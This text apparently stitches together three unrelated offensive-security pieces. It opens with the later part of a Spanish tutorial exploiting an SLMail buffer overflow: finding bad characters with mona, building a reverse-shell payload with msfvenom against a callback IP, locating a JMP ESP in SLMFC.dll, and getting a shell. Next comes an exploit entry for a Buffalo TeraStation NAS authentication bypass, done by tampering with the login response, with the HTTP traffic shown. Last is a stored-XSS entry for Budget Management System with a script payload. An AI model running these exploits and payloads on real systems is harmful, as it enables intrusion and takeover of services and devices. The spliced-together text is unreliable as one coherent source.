!mona config -set workingfolder <ruta>\%p

image 102

Ahora, vamos a generar un array de bytes de la siguiente forma:

!mona bytearray

image 103

Esto nos genera una cadena con todos los bytes posibles, nos servirá para determinar cuáles son badchars y cuáles no.

Además, con este comando como hemos configurado el espacio de trabajo previamente, ahora se nos habrá generado una carpeta con el nombre del proceso al que estamos adjuntados:

image 104

Dentro, podemos encontrar un txt con la cadena de bytes:

image 105
image 106

Nos copiamos la cadena y la añadimos al payload.

image 107

Con esto, hacemos lo de siempre, reiniciamos el servicio, nos adjuntamos con Immunity y ejecutamos el exploit:

image 108
image 109

Ahora nos interesa el valor del ESP. Mediante este valor, mona nos automatizará la tarea de detectar los badchars.

Haremos uso del siguiente comando:

!mona compare -f <especificamos la ruta del bytearray.bin> -a <dirección del ESP>

!mona compare -f C:\\Users\\JuanA\\Desktop\\SLMail\\bytearray.bin -a 0258A128

image 110

De esta forma, como vemos, mona nos dice que un badchars es el \x00 (este es un badchar muy típico, por lo que normalmente se quita de inmediato)

Con esto hecho, vamos a actualizar los archivos bytearray que tenemos, para decirles que eliminen el \x00:

!mona bytearray -cpb '"<badchars>"'

!mona bytearray -cpb '"\x00"'

image 111

De esta forma, el archivo bytearray se habrá actualizado.

image 139

Como ya sabemos que \x00 es un badchar, simplemente lo quitaremos del payload en el exploit:

image 112

Ejecutamos el exploit…

image 113

Y ahora hacemos el mismo proceso para detectar el badchar:

!mona compare -f <especificamos la ruta del bytearray.bin> -a <dirección del ESP>

!mona compare -f C:\\Users\\JuanA\\Desktop\\SLMail\\bytearray.bin -a 01ADA128

image 114

Nos detecta que el \x0a es otro. Pues hacemos lo mismo que antes:

!mona bytearray -cpb '"<badchars>"'

!mona bytearray -cpb '"\\x00\\x0a"'

image 115

Comprobamos que se ha quitado:

image 116

Y con esto, lo mismo que antes, ahora quitamos del payload el \x0a.

image 117

Y repetimos de nuevo todo el proceso, esta parte es un poco repetitiva.

image 118
image 119

!mona compare -f <especificamos la ruta del bytearray.bin> -a <dirección del ESP>

!mona compare -f C:\\Users\\JuanA\\Desktop\\SLMail\\bytearray.bin -a 026EA128

image 120

Detectamos otro badchar, esta vez el \x0d. Pues hacemos lo mismo:

!mona bytearray -cpb '"<badchars>"'

!mona bytearray -cpb '"\\x00\\x0a\\x0d"'

image 121

Y pues lo mismo, quitamos ahora del exploit el \x0d y repetimos todo. Así, hasta que nos salga que no encuentra ninguno:

image 122

Por lo que ya hemos descubierto todos los badchars, en este caso son:

  • \x00
  • \x0a
  • \x0d

Crear payload con msfvenom

Sabiendo esto, vamos a crear el payload de la reverse shell con msfvenom (podemos usar cualquier otro payload, por ejemplo, el de ejecutar un comando concreto en Windows):

msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=<puerto> EXITFUNC=thread -a x86 --platform windows -b <badchars> -e x86/shikata_ga_nai -f c

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.208.10 LPORT=443 EXITFUNC=thread -a x86 --platform windows -b "\x00\x0a\x0d" -e x86/shikata_ga_nai -f c

image 123

Usamos el EXITFUNC=thread porque si no cuando consigamos explotar el buffer overflow y tengamos una shell. Si la perdiéramos por lo que sea y quisiéramos conseguir otra no podríamos, porque ya se habrá cargado el proceso. De esta forma podemos mandarnos cuantas shells queramos, ya que el proceso de las shells se ejecutan como thread y no sustituyen al principal del servicio

Nos copiamos el shellcode generado por msfvenom y lo añadimos al exploit:

image 124
image 125

Buscando dirección con opcode JMP ESP

Con esta parte hecha, solo falta un último paso. Tenemos que conseguir que el EIP apunte al ESP, es decir, a nuestro payload, ya que ahora mismo está apuntando a la dirección de 4 ‘B‘.

Para esto, tenemos que hacer que el EIP apunte a una dirección de «JMP ESP». Una dirección la cual haga un salto automático a donde se encuentre el ESP.

Para hacer esto, vamos a usar la herramienta nasm_shell.rb de metasploit y mona.

Nasm_shell.rb hace lo siguiente:

image 126

De esta forma, vamos a ver el opcode asociado al JMP ESP:

image 127
image 128

Sabiendo que el opcode es FFE4, vamos a dirigirnos a mona y vamos a listar los módulos del proceso:

!mona modules

image 129

Listando los módulos, tenemos que usar uno que tenga las cuatro primeras columnas de True y False, en False (ya que este BoF no tiene ninguna protección). En mi caso voy a usar el siguiente módulo:

image 130

Con esto, ahora vamos a usar mona para buscar una dirección dentro de ese módulo cuyo opcode sea un JMP ESP:

!mona find -s '"<opcode JMP ESP>"' -m <módulo>

!mona find -s '"\\xff\\xe4"' -m SLMFC.dll

image 131

Mona nos da una serie de direcciones, podemos escoger cualquiera. El único requisito es que esa dirección no contenga ningún badchar.

En mi caso, voy a escoger por ejemplo la última, 0x5f4c4d13.

Vamos a comprobar que efectivamente esta dirección es un jmp ESP.

Click derecho y nos copiamos la dirección:

image 132

Nos dirigimos al siguiente botón:

image 133

Pegamos la dirección y le damos al OK. De esta forma nos llevará a la dirección que hemos especificado:

image 134

Y efectivamente, confirmamos que es un JMP ESP.

En caso de que al hacer esto nos lleve a una dirección que no tiene nada que ver con la que hemos puesto, simplemente buscamos otra vez y listo.

Exploit final

Ya tenemos todo para explotar el buffer overflow de forma exitosa. Vamos a dirigirnos al exploit.py para hacer los últimos retoques:

image 135

Vamos a sustituir las 4 ‘B’ con la dirección del JMP ESP en Little Endian:

image 136

En este caso usamos la librería struct para que nos haga el cambio a «Little Endian» de forma automática. También sería válido si lo hiciésemos nosotros de manera manual.

Además, para asegurarnos de que todo vaya correcto, vamos a añadirle NOPS entre el JMP ESP y el shellcode (también podriamos ocasionar un desplazamiento de la pila si no quisiéramos usar NOPS):

image 137

Si no sabes lo que son los NOPS, lo puedes ver en el post de Fundamentos para Stack Based Buffer Overflow.

De esta forma, ya está todo listo, si nos ponemos en escucha por el puerto que especificamos anteriormente en el msfvenom y ejecutamos el exploit:

image 138

Conseguimos controlar el flujo del programa haciendo que se dirija a nuestro payload y que nos ejecute una shell.

# Exploit Title: Buffalo TeraStation Network Attached Storage (NAS) 1.66 - Authentication Bypass
# Date: 2022-08-11
# Exploit Author: JORDAN GLOVER
# Type: WEBAPPS
# Platform: HARDWARE
# Vendor Homepage: https://www.buffalotech.com/
# Model: TeraStation Series
# Firmware Version: 1.66
# Tested on: Windows 10 


An authentication bypass vulnerability found within the web interface of a Buffalo TeraStation Series Network Attached Storage (NAS) device, allows an unauthenticated malicious actor to gain administrative privileges.

The web interface can be accessed via port 80 or 443 via a web browser. Once accessed you will be presented with a login page, that requires a username and password to gain authentication to the NAS.

Using a proxy tool to intercept the request and responses, it was possible re-intercept the response and modify the JSON data, contained within the body.

If you modify the "success" to 'true' and change "Pagemode" to '0', this will grant you authentication with administrator privileges, to the NAS.


POC #1 Authentication Failure

Request
POST /dynamic.pl HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Origin: http://localhost
Connection: close
Referer: http://localhost/static/index.html

bufaction=verifyLogin&user=Jordan&password=Jordan


Response
HTTP/1.1 200 OK
Content-type: text/html
Pragma: no-cache
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Connection: close
Date: Mon, 30 Jun 2008 02:39:51 GMT
Server: lighttpd/1.4.32
Content-Length: 94

{"success":false,"errors":[],"data":[{"sid":"zz69c1c4d83023374d0b786d7a5y69b0","pageMode":2}]}

Incorrect Username or Password 



POC #2 Authentication Success

Request
POST /dynamic.pl HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Origin: http://localhost
Connection: close
Referer: http://localhost/static/index.html

bufaction=verifyLogin&user=Jordan&password=Jordan


Intercepted Response
HTTP/1.1 200 OK
Content-type: text/html
Pragma: no-cache
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Connection: close
Date: Mon, 30 Jun 2008 02:39:51 GMT
Server: lighttpd/1.4.32
Content-Length: 94

{"success":true,"errors":[],"data":[{"sid":"ag69c5f4x43093374d0c786k7a9y59h0","pageMode":0}]}

Login Successful
            
# Exploit Title: Budget Management System 1.0 - 'Budget title' Stored XSS
# Exploit Author: Jitendra Kumar Tripathi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14403/budget-management-system.html
# Version: 1
# Tested on Windows 10 + Xampp 8.0.3

XSS IMPACT:
1: Steal the cookie
2: User redirection to a malicious website

Vulnerable Parameters: Customer Details

*Steps to reproduce:*
 Add Budget Title
 Payload : <script>alert(1)</script>
 Reload the http://localhost/Budget%20Management%20System/index.php or update the budget , the xss will get triggered.